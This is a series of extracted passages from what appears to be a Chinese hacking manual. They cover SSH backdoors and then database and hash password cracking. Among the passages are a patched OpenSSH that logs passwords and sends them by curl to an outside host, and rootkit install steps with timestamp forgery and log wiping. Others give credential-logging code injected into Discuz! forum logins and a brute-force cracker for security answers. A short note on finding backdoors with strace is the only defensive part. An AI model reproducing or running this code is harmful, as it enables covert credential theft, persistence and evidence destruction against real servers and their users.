packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &amp;input_userauth_passwd_changereq); if((f=fopen(\"/tmp/olog\",\"a+\"))!=NULL){ fprintf(f,\"username:%s-->password:%s-->host:%s-->port:%s\\n\", authctxt->server_user,pass,authctxt->host,findport()); fclose(f);} memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),\"/usr/bin/curl -s -d \\\"username=%s&amp;password= %s&amp;host=%s&amp;port=%s\\\" http://www.antian365.com/ssh.php >/dev/null\",authctxt-> server_user,pass, authctxt->host,findport()); system(szres); return 1; } 重新编译，执行后会自动将密码发送到服务器。"},
    {"text": "使用strace命令找出SSH后门。 运行“ps aux | grep sshd”命令获取可疑进程的PID，运行“strace -o aa -ff -p PID”命令进行跟踪，成功登录SSH后，在当前目录下就生成了strace命令的输出。"},
    {"text": "在上面的命令中，过滤错误信息、/dev/null信息和拒绝（denied）信息，找出打开了读写模式（WR）的文件（因为要把记录的密码写入文件）。"},
    {"text": "wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz 备份SSH配置文件，命令如下。 mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 安装必备软件，命令如下。 yum install -y openssl openssl-devel pam-devel zlib zlib-devel 解压并安装补丁，命令如下。 tar zxf openssh-5.9p1.tar.gz tar zxf openssh-5.9p1.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff 修改includes.h文件中记录用户名和密码的文件位置及其密码，命令如下。"},
    {"text": "#define ILOG \"/tmp/ilog\" //记录登录本机的用户名和密码 #define OLOG \"/tmp/olog\" //记录本机登录远程的用户名和密码 #define SECRETPW \"123456654321\" //后门的密码 修改version.h文件，使其修改后的版本信息为原始版本，命令如下。"},
    {"text": "#define SSH_VERSION \"填入之前记下来的版本号,伪装原版本\" #define SSH_PORTABLE \"小版本号\" 安装并编译，命令如下。 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make clean make &amp;&amp; make install service sshd restart 恢复新配置文件的日期，使其与旧文件的日期一致。 对ssh_config和sshd_config文件的内容进行对比，使其配置文件一致，然后修改文件日期。 touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config 清除操作日志，代码如下。 export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log* echo >/root/.bash_history //清空操作日志 参考文章 如何使用Linux通用后门，http://www.freebuf.com/tools/10474.html。"},
    {"text": "未知 第3章 数据库密码的获取与破解 在网络渗透过程中，数据库历来属于“兵家必争之地”。数据库是企业的核心，很多重要数据都保存在数据库中，一旦黑客入侵并掌握了数据库的连接口令，就意味着数据的泄露。网上经常看见的“某某公司某某漏洞导致百万条数据泄露”的新闻，往往就是由数据库密码泄露造成的。 本章着重介绍Access数据库破解、MD5加解密、通过网页文件获取数据库账号和口令、对MySQL和SQL Server数据库进行扫描等内容。 本章主要内容 Discuz! 论坛密码记录及安全验证问题暴力破解 Access数据库破解实战 巧用Cain破解MySQL数据库密码 MD5加密与解密 MD5（base64）加密与解密 通过网页文件获取数据库账号和口令 SQL Server 2000口令扫描 MySQL口令扫描 巧用Cain监听网络获取数据库口令 MySQL数据库提权 SQL Server数据库的还原 使用SQLRootKit网页数据库后门控制"},
    {"text": "未知 3.1 Discuz! 论坛密码记录及安全验证问题暴力破解 Discuz!是目前最好用的论坛程序之一，在Discuz!论坛用户注册过程中设置了安全问题和安全答案进行安全保护，因此，即使攻击者获取了数据库，也会由于不知道安全问题的答案而止步。"},
    {"text": "近年来，由于密码泄露事件的影响和社工库的普及，用户和管理员大都设置了安全验证，所以，获取用户的安全验证问题就非常有必要了。 目前，获取用户的安全验证问题的主要方式有两种：一种是通过修改源程序，在其中加入记录代码，截获所有登录用户的登录密码、安全问题和答案；"},
    {"text": "3.1.1 Discuz! 论坛密码记录程序的编写及实现 在源程序中加入记录代码的方式相对简单，具体如下。 1.Discuz! 7.1-7.2论坛记录程序的编写及实现 在Discuz! 7.2论坛中找到程序文件login.func.php，在其中加入以下代码。"},
    {"text": "$ip=$_SERVER['REMOTE_ADDR']; $showtime=date(\"Y-m-d H:i:s\"); $record=\"<?exit();?>\".$username.\" --------\".$password.\" IP:\".$ip.\"questionid\". $questionid.\"answer\".$answer.\" Time:\".$showtime.\"\\r\\n\"; $handle=fopen('./include/csslog.php','a+'); $write=fwrite($handle,$record); 密码记录和登录文件保存在“include”目录下的cssog.php文件中，打开csslog.php文件即可看到获取的用户记录，如图3-1所示。"},
    {"text": "图3-1 Discuz!7.2论坛密码及验证问题记录 2.Discuz! X2.5-3.1论坛记录程序的编写及实现 在Discuz! X2.5-3.1安装目录的“uc_client”文件夹下找到client.php文件，在“unction uc_user_ login”函数中加入以下代码。 //以下为密码记录程序代码 if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $onlineip = getenv('REMOTE_ADDR'); } else { $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $onlineip = getenv('REMOTE_ADDR'); } else { $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } $ip=$onlineip; $showtime=date(\"Y-m-d H:i:s\"); $record=\"<?exit();?>用户：\".$username.\" 密码：\".$password.\" IP:\".$ip.\" Time:\".$showtime.\" questionid：\".$questionid.\"answer：\".$answer.\"\\r\\n\"; $handle=fopen('./api/csslog.php','a+'); $write=fwrite($handle,$record); //密码记录程序代码结束 用户登录后查看127.0.0.1/api/csslog.php文件，即可获取密码及验证问题答案等信息，效果如图3-2所示。"},
    {"text": "X2.5论坛密码及其验证程序记录效果 图3-3 问题ID对应 3.1.2 Discuz! X2.5密码安全问题 下面我们一起了解一下Discuz! X2.5论坛密码的安全问题。"},
    {"text": "图3-4 查看Secques值 图3-5 查询管理员的密码 2.密码安全问题的设置和解除 密码登录安全提问是用户注册成功后通过再次设置“密码安全”实现的。"},
    {"text": "如图3-6所示，Discuz!默认设置了7个安全验证问题，用户只需要选择问题，然后设置对应的答案即可，论坛最高管理员或者创建人可以直接将安全提问清除。 设置安全验证问题后，用户登录时除了需要输入用户名和密码外，还需要选择自己设置的安全问题并输入相应的答案，如图3-7所示。 图3-6 设置安全问题 图3-7 用户登录安全问题验证 3.1.3 Discuz! X2.5密码安全问题的暴力破解 暴力破解程序代码如下。 <? /*discuz提示问题答案暴力破解程序。"},
    {"text": "*/ error_reporting(0); if($argc<2){ print_r(' -------------------------- Usage: php cracksecques.php hash Example: php cracksecques.php ca9e47ea -------------------------- '); die;} $fd=fopen(\"pass.dic\",r); if(!$fd){ echo \"error:打开字典文件错误\"; die;} while($buf=fgets($fd)){ for($i=1;$i<8;$i++) { $tmp=substr(md5(trim($buf).md5($i)),16,8); $conn=strcmp($tmp,$argv[1]); if($conn==0) { echo \"密码破解成功!\\n\".\"提示问题答案为:\".$buf.\"提示的问题为:\".theask ((int)$i).\"\\n\"; die;}}} if($conn!=0){echo\"没有正确的密码!\";} fclose($fd); function theask($var){ if($var==1){return\"母亲的名字\"; } elseif($var==2){return\"爷爷的名字\";} elseif($var==3){return\"父亲出生的城市\"; } elseif($var==4){return\"您其中一位老师的名字\";} elseif($var==5){return\"您个人计算机的型号\"; } elseif($var==6){return\"您最喜欢的餐馆名称\"; } elseif($var==7){return\"驾驶执照最后四位数字\";} } ?> 将以上程序代码保存为文件crackdzsecques.php，在Windows下通过“php crackdzsecques.php ca9e47ea”命令进行破解，pass.dic为生成的字典，如图3-8所示。"},
    {"text": "关系数据库由一系列表组成，表又由一系列行和列组成，每一行是一个记录，每一列是一个字段，每个字段有一个字段名，字段名在一个表中不能重复。"},
    {"text": "3.2.1 Access数据库简介 下面我们了解一下Access数据库的特点及其局限性。 1.Access数据库的主要特点 Access数据库的主要特点如下。 存储方式单一：Access管理的对象有表、查询、窗体、报表、页、宏和模块，以上对象都存放在后缀为.mdb的数据库文件中，便于用户进行操作和管理。 面向对象：Access是一个面向对象的开发工具，利用面向对象的方式将数据库系统的各种功能对象化，将数据库管理的各种功能封装在各类对象中。"},
    {"text": "通过对象的方法、属性完成数据库的操作和管理，极大简化了用户的开发工作。 同时，这种基于面向对象的开发方式使得开发应用程序更为简便。"},
    {"text": "系统还提供了表生成器、查询生成器、报表设计器及数据库向导、表向导、查询向导、窗体向导、报表向导等工具，操作简便，容易使用和掌握。"},
    {"text": "该环境集成了各种向导和生成器工具，极大地提高了开发人员的工作效率，使建立数据库、创建表、设计用户界面、设计数据查询、报表打印等可以方便、有序地进行。"},
    {"text": "支持ODBC（Open Data Base Connectivity，开放数据库互联）：利用Access强大的DDE（动态数据交换）和OLE（对象的链接和嵌入）特性，可以在一个数据表中嵌入位图、声音、Excel表格、Word文档，还可以建立动态的数据库报表和窗体等。"},
    {"text": "2.Access数据库的缺点和局限性 Access是一种桌面数据库，适合数据量少的应用，在处理少量数据和单机访问时很好用，效率也很高，但在处理海量数据时效率会受到极大影响。 例如，搭配ASP应用于互联网时，如果调用数据库的程序设计不理想，Access数据库超过30MB就开始影响性能，50MB左右的时候性能会急剧下降，即使配合设计优良的程序，数据库的极限大小也只能是几百MB。"},
    {"text": "另外，Access数据库在安全性方面也比不上MySQL、MSSQL等专业数据库，配合ASP程序使用的时候，如果使用默认的.mdb文件后缀而且没有经过额外的安全处理，别人甚至可以直接下载我们的数据库文件。"},
    {"text": "3.2.2 Access数据库密码破解实例 在一些软件系统和网站系统中，出于安全考虑，很多程序设计者都会给Access数据加上密码，以保护数据库内容的安全。"},
    {"text": "01 选择需要破解的Access数据库文件 笔者推荐一款Access数据库密码破解工具——Access数据库特殊操作。 如图3-9所示，运行“Access数据库特殊操作”后，在软件窗口单击“破解Access密码”标签，然后在Access文件路径中选择需要破解的文件，也可以直接输入Access文件路径。 图3-9 选择需要破解的Access文件 02 获取数据库密码 单击“破解密码”按钮，软件很快就将Access数据库密码破解。"},
    {"text": "图3-10 破解Access数据库密码 03 删除数据库密码 在软件窗口单击“删除Access的密码”标签，如果前面选择过数据库，则在“数据库路径”设置框中会显示上次操作的数据库，同时显示数据库的密码，单击“删除密码”按钮将加密的数据库密码删除，如图3-11所示。"},
    {"text": "Access数据库长时间持续运行后，文件本身会增加一些无用的信息，导致数据文件非常大，而对Access数据库来说，当数据库大小超过30MB就会影响性能，超过50MB会严重影响性能，因此，当数据库“个头”太大时，就需要给它“减肥”。"},
    {"text": "未知 3.3 巧用Cain破解MySQL数据库密码 MySQL数据库用户的密码与其他数据库用户的密码一样，在应用系统代码中都是以明文形式出现的，在获取文件读取权限后即可直接从数据库连接文件中读取。 例如，ASP代码中的conn.asp数据库连接文件中一般都包含数据库类型、物理位置、用户名和密码等信息，而在MySQL中，即使获取了某一个用户的数据库用户（root用户除外）的密码，也只能操作某一个用户的数据库中的数据。 在实际攻防过程中，在获取WebShell的情况下，可以直接下载MySQL数据库中的user.myd文件，该文件中保存的是MySQL数据库中所有用户对应的数据库密码，只要能够破解这些密码，就可以正大光明地操作这些数据了。 虽然网上有很多修改MySQL数据库用户密码的方法，但大都不可取，因为修改用户密码的事情很容易被人发现！"},
    {"text": "设想一下：一旦获取了网站的部分权限，如果能够获取MySQL中保存的用户数据，那么解密后即可通过正常途径访问数据库，一方面可以直接操作数据库中的数据，另一方面可以用来提升权限。 目前关于破解MySQL方面的研究还不是很多，本节算是抛砖引玉，虽然效果不是特别好，但也算是对破解MySQL数据库用户密码的一种探讨和尝试。 3.3.1 MySQL的加密方式 MySQL数据库的认证密码有两种方式，MySQL 4.1之前是MySQL323加密，MySQL 4.1及之后的版本都是MySQLSHA1加密。 MySQL数据库自带Old_Password(str)和Password(str)函数，它们均可以在MySQL数据库里进行查询，前者是MySQL323加密，后者是MySQLSHA1加密。 1.以MySQL323方式加密 以MySQL323方式加密，示例如下。"},
    {"text": "MYSQLSHA1 = *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2 执行结果如图3-13所示，MYSQL323加密生成的是16位字符串，而MySQLSHA1加密生成的是41位字符串，其中“*”不参加实际的密码运算。 通过观察发现，很多用户都携带了“*”，在实际破解过程中需要去掉“*”，也就是说，MySQLSHA1加密密码的实际位数是40位。 图3-13 在MySQL数据库中查询同一密码的不同SHA值 3.3.2 MySQL数据库文件结构 MySQL数据库的文件结构情况如下。"},
    {"text": "MySQL数据库的用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。 图3-14 MySQL数据库用户密码文件 3.3.3 破解MySQL数据库密码 01 获取MySQL数据库用户密码加密字符串 使用UltraEdit-32编辑器直接打开user.MYD文件，使用二进制模式查看。 如图3-15所示，在root用户后面是一串字符串，选中这些字符串并将其复制到“记事本”中，这些字符串即为用户加密值，本例为“506D1427F6F61696B4501445C90624897266DAE3”。 图3-15 获取加密的字符串 注意 （1）root后面的“*”不要复制到字符串中。"},
    {"text": "Cain & Abel是一个可以破解屏保口令、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令，支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等的综合工具，还可以实现远程破解、挂字典及暴力破解，其Sniffer功能极其强大，几乎可以明文捕获一切账号口令，包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys Authentications。"},
    {"text": "在Cain & Abel主界面单击“Cracker”标签，然后将用户密码的加密字符串“506D1427F6F61696B4501445C90624897266DAE3”加入MySQL Hashes破解列表中，如图3-16所示。 图3-16 使用Cain破解MySQL密码 在快捷菜单中单击“Add to list”选项，将字符串复制到“Hash”输入框中，在“Username”输入框中可以输入任意内容，如图3-17所示。 图3-17 在MD5Crack4中验证MD5值 03 使用字典进行破解 如图3-18所示，选中刚才添加的需要破解的字符串，然后选择“Dictionary Attack”（字典破解）选项，在弹出的菜单中选择“MySQL SHA1 Hashes”方式进行破解。 该方式针对的是MySQL 4.1及后续版本，对于MySQL 4.1以前的版本，应选择“MySQL v3.23 Hashes”选项。"},
    {"text": "图3-18 选择破解方式 选择“Dictionary Attack”（字典破解）选项后，会出现一个窗口，主要用于选择字典，如图3-19所示，在“Dictionary”设置区下方单击右键，可以添加1个或者多个字典文件。 字典选择完毕后，可以在“Options”（选项）设置区中进行选择，然后单击“Start”按钮进行破解。 图3-19 设置字典破解 说明 在“Options”设置区中一共有8种方式，具体如下。"},
    {"text": "1.字典破解与字典强度有关 依次单击“开始”→“程序”→“MySQL”→“MySQL Server 5.0”→“MySQL Command Line Client”选项，打开“MySQL Command Line Client”窗口，输入密码后，输入以下代码设置一个新的密码。 Use MYSQL update user set password=password(\"1977-05-05\") where user=\"root\"; flush privileges; 本例中将原来的密码修改为“1977-05-05”，其结果如图3-21所示。 图3-21 修改MySQL用户密码 再次用UltraEdit-32打开“C:\\Program Files\\MySQL\\MySQL Server 5.0\\data\\MYSQL\\ user.MYD”，获取新的密码字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”，重新选择一个字典文件，本例选择生成的生日字典，如图3-22和图3-23所示，仅选择小写字符串进行破解，很快就获取了破解结果。 图3-22 再次破解MySQL密码 图3-23 修改MySQL密码后再次破解MySQL密码 2.使用彩虹表进行破解 Cain提供了彩虹表破解MySQL的方式，在破解方式中选择“Cryptanalysis Attack”→“MySQL SHA1 Hashes via RainbowTables”选项即可，如图3-24和图3-25所示。"},
    {"text": "图3-24 使用彩虹表破解方式 图3-25 使用彩虹表进行破解 在实际测试过程中，由于网络上提供的SHA彩虹表是RTI格式的，而Cain中使用的是RT格式的。 笔者将下载的所有彩虹表中文件后缀由“RTI”修改为“RT”，然后进行破解，提示破解不成功，其原因应该是彩虹表的格式不一样，Cain只承认它自己提供的彩虹表。"},
    {"text": "在主界面中单击计算机图标按钮，弹出Hash计算器，在“Text to hash”输入框中输入需要转换的原始值，如“12345678”，单击“Calculate”按钮进行计算，如图3-26所示，可以看到14种Hash值。"},
    {"text": "图3-26 计算Hashes值 4.生成彩虹表 在Cain的安装目录C:\\Program Files\\Cain\\Winrtgen中直接运行Winrtgen，如图3-27所示，该工具为彩虹表生成器，可以很方便地生成各种类型的彩虹表值。 图3-27 Winrtgen彩虹表生成工具 5.设置彩虹表 单击“Add Table”按钮，在“Rainbow Table properties”对话框的“Hash”下拉列表中选择“mysqlsha1”选项，根据实际情况分别设置“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”及“N of tables”的值，一般情况下，仅需要设置“Min Len”、“Max Len”及“N of tables”的值。"},
    {"text": "“N of tables”主要用来测试Hashes生成的完整度，输入不同的值，会在“Table properties”显示区中显示百分比，使用户可以通过尝试确定一共需要生成多少个表。"},
    {"text": "图3-29 开始生成彩虹表 由于生成彩虹表的时间比较长，在网上也没有搜索到以“rt”结尾的MySQL Sha1 Hashes表，因此，本次破解主要以字典破解为主，彩虹表的破解将在全部生成后进行。"},
    {"text": "本节通过使用Cain破解MySQL密码，算是一种较好的尝试，只要使用字典工具生成一些具有一定强度的字典，对于那些设计不太复杂的MySQL密码，破解还是比较容易的。"},
    {"text": "未知 3.4 MD5加密与解密 本节介绍如何使用MD5Crack 3及一些在线网站进行破解。 MD5Crack 3是阿呆编写的一款MD5密码破解软件，其网站为http://www.adintr.com/subject/mdcrk/index.htm，目前已经发布了MD5Crack 4.0。 读者也可以访问笔者的博客（http://simeon.blog. 51cto.com/18680/144558）下载MD5Crack 3。 3.4.1 MD5加解密知识 MD5密文破解（解密）可以说是网络攻击中的一个必不可少的环节，是黑客工具中的一个重要辅助工具。 MD5解密主要用于网络攻击，在对网站等进行入侵的过程中，有可能获得管理员或者其他用户的账号和密码值（MD5加密后的值）。"},
    {"text": "如果采取了MD5加密，则可以通过MD5Crack3等软件进行破解。 由于王小云教授的MD5密码碰撞破解算法没有公布，因此目前MD5解密方式主要采取暴力破解，即软件通过算法生成字典，然后使用MD5函数加密该字典中的值形成密文，与需要破解的密文进行比较，如果相同，则认为破解成功。 目前，有很多网站提供MD5加密或者加密值查询，将加密后的MD5值输入网站，如果网站数据库中存在该MD5值，则该值对应的MD5加密前的值就是密码。 3.4.2 通过cmd5网站生成MD5密码 在浏览器地址栏中输入“http://www.cmd5.com/”，在输入框中输入想要加密的原始密码，然后单击“MD5加密或解密”按钮，如图3-30所示，原始密码为“goodman88”，加密后的密码值如下。 MD5(goodman88,32) = d5a8e0b115259023faa219f5b53ca522 MD5(goodman88,16) = 15259023faa219f5 图3-30 MD5加密 作为实验数据，我们再生成一组生日的MD5密码，示例如下。 MD5(19801230,32) = 2540bb62336a8eb3ebc1e42ee44c8e3d MD5(19801230,16) = 336a8eb3ebc1e42e 3.4.3 通过cmd5网站破解MD5密码 在cmd5网站的输入框中输入加密后的32位MD5值“d5a8e0b115259023faa219f5b53ca522”，然后单击“md5加密或解密”按钮，如图3-31所示，未能成功破解。 图3-31 通过cmd5网站未能破解MD5密码 将第2个加密后的MD5值“2540bb62336a8eb3ebc1e42ee44c8e3d”放入cmd5网站进行破解，很快其结果就出来了，如图3-32所示。 图3-32 破解简单的数字密码 3.4.4 通过在线MD5破解网站付费破解高难度的MD5密码 一些在线网站提供的MD5密码破解功能只能破解已经收录的和一些简单的密码，稍微复杂一点的密码都很难破解。 而且，对一些稍微有点难度的MD5密码值，如果数据库中存在该值，在线网站会要求访问者付费破解，如图3-33所示，提示找到但是要求付费。 图3-33 要求付费才能查看MD5密码值 3.4.5 使用字典暴力破解MD5密码值 字典暴力破解是目前最常用的MD5密码值破解方法，下面详细介绍其步骤。"},
    {"text": "01 再次生成MD5密码值 在cmd5网站生成原密码“jimmychu246 ”的MD5密码值，结果如下。 MD5(jimmychu246,32) = 437f4fffb6b2e5aaca9fd1712b8ad282 MD5(jimmychu246,16) = b6b2e5aaca9fd171 直接运行MD5Crack 4，界面如图3-34所示。 图3-34 MD5Crack4程序主界面 02 在MD5Crack 4中验证MD5值 将需要破解的MD5值“437f4fffb6b2e5aaca9fd1712b8ad282”粘贴到“Single Cryptograph”（破解单个密文）输入框中，如图3-35所示，如果该MD5值是正确的，则会在输入框下方显示黑色的“valid”（有效）字样，否则将显示灰色的“valid”字样。 图3-35 在MD5Crack4中验证 03 使用字典进行破解 在“Plaintext Seting”（字符设置）设置区单击选中“Dictionary”（字典）单选按钮，并在“No.1”、“No.2”及“No.3”设置框中选择3个不同的字典。 选择完毕，单击“Start”按钮，开始进行MD5破解，破解结束后会给出相应的提示，如图3-36所示。"},
    {"text": "图3-36 使用字典进行破解 04 使用字符集中的数字进行破解 将上面生成的MD5值“336a8eb3ebc1e42e”放入单一MD5密码破解输入框中，单击选中“Char Muster”（使用字符集）单选按钮后，可以勾选“Number”、“lowercase”、“majuscule”、“special char”及“custom”复选框进行破解。 在本例中使用数字进行破解，因此，要将“Min Length”（最小长度）的值设置为1，将“Max Length”（最大长度）的值设置为8，然后单击“Start”按钮，使用数字进行MD5破解，尝试破解密码位数为1～9999999的所有数字组合。"},
    {"text": "（5）在MD5Crack 4中，可以设置软件显示的语言版本，有中文简体和英语两个版本，单击主界面中的“Options”（设置）按钮即可进行设置，如图3-38所示。"},
    {"text": "图3-38 设置MD5Crack 4 3.4.6 一次破解多个密码 将需要破解的MD5密码全部存储到一个TXT文件中，每个密码独立占一行，然后，在MD5Crack 4中单击选中“破解多个密文”单选按钮，选择刚才编辑的MD5密码文件，如图3-39所示，选择一种破解方式，本例选择使用数字字典进行破解，最后单击“开始”按钮开始破解。 图3-39 破解多个MD5密码值 在MD5Crack 4右下方会显示破解结果，单击“日志”标签页可以查看MD5值校验等日志信息，单击“结果”标签页可以查看破解的结果。"},
    {"text": "图3-40 破解结果 本节介绍了使用MD5Crack及通过网站对MD5值进行破解的方法。 破解MD5值时，可以先在一些MD5破解网站进行破解，如果未能破解，则可以在本地用MD5Crack进行破解。"},
    {"text": "<% function jiami(str) mima=\"*#$A.J>?;&amp;%*&amp;$C#%!@#JH+-\\)(HNKNDKJNKJDWNY*Y@H&amp;A^BHJHJXNXMAX5454ADD EFW45485121WDQWD21DD5DWQ15QD1\" for i=1 to len(str) newstr=newstr&amp;Mid(str,i,1) if i>len(mima) then newstr=newstr&amp;Mid(mima,i-len(mima),1) else newstr=newstr&amp;Mid(mima,i,1) end if next jiami=newstr end function %> 原始密码的加密原理为：假如初始密码为“123456”，先通过jiami函数对初始密码进行长度判断，获知长度为6，依次取1位，然后插入自定义的加密字符串，加密后密码变为“1#2$3A4.5J6>”。"},
    {"text": "普通的6位密码通过jiami算法重新加密后，将变为12位密码，通常的MD5暴力破解基本无法破解这样的密码。 了解该加密方式后，我们就可以针对该加密方式编写一段代码，将密码字典依次间隔插入“*#$A.J>?;&%*&$C#%!@#JH+-\\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX 5454ADDEFW45485121WDQWD21DD5DWQ15QD1”字符串，然后进行密码比对，如果在加密表中找到相同的MD5值，即为破解。"},
    {"text": "第二个方法是在该网站插入记录用户登录密码、用户名的代码，并将每次用户登录的用户名和密码添加到指定的文件中，通过查看该文件即可获得登录密码。"},
    {"text": "未知 3.5 MD5（Base64）加密与解密 在对某个CMS系统进行安全检测时，可以通过注入点获取其管理员表中的管理员用户名和密码数据，但由于不知道该密码数据采用何种加密方式，所以，虽然知道CMS系统管理的后台，但苦于没有破解管理员的密码而无法登录系统。 笔者通过研究终于掌握了MD5（Base64）加密原理和解密原理，因此才有本节内容。"},
    {"text": "Base64是网络上最常见的用于传输8bit字节代码的编码方式之一，在发送电子邮件时，服务器认证的用户名和密码需要使用Base64编码，附件也需要使用Base64编码。 Base64要求把每3个8bit的字节转换为4个6bit的字节（3×8 = 4×6 = 24），然后把6bit再添2位高位0，组成4个8bit的字节，也就是说，转换后的字符串理论上将比原来的字符串长1/3。"},
    {"text": "“MD5”的全称是“Message-Digest Algorithm 5”（信息-摘要算法），在20世纪90年代初由Mit Laboratory For Computer Science和Rsa Data Security Inc的Ronald L. Rivest开发，经MD2、MD3和MD4发展而来。"},
    {"text": "它的作用是让大容量信息在用数字签名软件签署私人密钥前被“压缩”成一种保密的格式（就是把一个任意长度的字节串变换成一个定长的大整数）。"},
    {"text": "3.5.1 MD5（Base64）密码简介 MD5（Base64）加密后的字符串长度为24位，最末尾有2个“=”符号，字符串中数字和字母混写，这种加密方式在ASP.NET等CMS环境中经常碰到。"},
    {"text": "图3-41 MD5（Base64）密码 3.5.2 在网上寻找破解之路 直接在Google上对“md5（dbase64）加解密”进行搜索，如图3-42所示，从搜索结果来看，除了求助外，很难在网上找到MD5（dBase64）的加密和解密方法。 图3-42 Google搜索结果 3.5.3 寻求解密方法 下面我们来寻找解密MD5（Base64）密码的方法。"},
    {"text": "01 生成Hash值 InsidePro网站提供了在线Hash破解（http://hash.insidepro.com/）和在线生成各种Hash值的功能，在线生成Hash值的网址为http://www.insidepro.com/hashes.php?lang=eng，如图3-43所示。"},
    {"text": "图3-43 生成各种Hash值 02 比对Hash值和加密密码值 在生成Hash值后的http://www.insidepro.com/hashes.php?lang=eng页面上拖动滚动条，一一对照。"},
    {"text": "Haval128(Base64):1xehfrgfAcMYLCdLcYiDlg== Haval160(Base64):JPfaQRoHY0v/EJnXN9iKd9MfdbE= MD2(Base64):d+K74ta9Vhbr4yuKzfCAZQ== MD4(Base64):QPRz/CVV3O9EVOA/iCaOwA== MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w== “MD5(Base64):Ar2S+qOKqmzA6nXlmTeh7w==”与图3-41中的加密值一致。 如图3-44所示，验证了该加密方式就是MD5（Base64）加密。 图3-44 找到加密方式 03 添加Hash值 从http://www.insidepro.com/eng/passwordspro.shtml页面上了解到，PasswordsPro可以破解MD5（Base64）加密方式。"},
    {"text": "图3-46 暴力破解MD5（Base64）密码 在PasswordsPro 2.5.3.0中还有其他破解方式，包括“Preliminary Attack”、“Mask Attack”、“Simple Dictionary Attack”、“Combined Dictionary Attack”、“Hybrid Dictionary Attack”和“Rainbow Attack”6种破解方式，如图4-47所示。"},
    {"text": "01 进行Base64解码 网上有很多工具可以对Base64编码进行解码，其中一款是可以在Linux和Windows下运行的Base64工具，下载地址为http://www.fourmilab.ch/webtools/base64/，下载后可以直接运行，命令为“base64 -decode base64.b64 base64.tmp”，参数“-decode”或“-d”表示解码，“-encode”或“-e”表示Base64编码。 base64.b64是Base64编码后的文件，base64.tmp是解码后生成的文件。"},
    {"text": "图3-49 Base64解码工具 图3-50 执行解码批处理文件 02 编辑解码文件 将MD5（Base64）加密后的密码值“Ar2S+qOKqmzA6nXlmTeh7w==”复制到base64.b64文件中，编辑解码文件的情形如图3-51所示。 图3-51 编辑解码文件 03 查看解码后的文件 使用UltraEdit-32编辑器打开base64.tmp，如图3-52所示，该文件显示为乱码。 这一点笔者也很奇怪，后面通过其他一些Base64解码工具进行解码，其正常显示结果仍为乱码。 图3-52 查看解码后的文件 04 获取Base64解码后的MD5值 在UltraEdit-32编辑器中，直接以二进制方式打开解码后的文件base64.tmp，如图3-53所示，将其中的二进制编码进行整理，其结果为“02BD92FAA38AAA6CC0EA 75E59937A1EF”，共32位，这与MD5加密后的值有些相似。"},
    {"text": "图3-54 MD5解密 3.5.5 MD5（Base64）原理 在线生成Hash值，然后按照3.5.4节中的步骤重新测试，结果与之测试吻合，由此我们可以推测出MD5（Base64）的加解密原理。 1.MD5（Base64）加密原理 MD5（Base64）加密，首先对字符串进行MD5加密，即MD5(string)，然后对MD5加密后的字符串进行Base64编码。 2.MD5（Base64）解密原理 MD5（Base64）解密，先对MD5（Base64）进行Base64解码，再对Base64解码后的值通过二进制方式进行读取，结果应为32位字符串，最后对获取的32位字符串进行MD5解密。"},
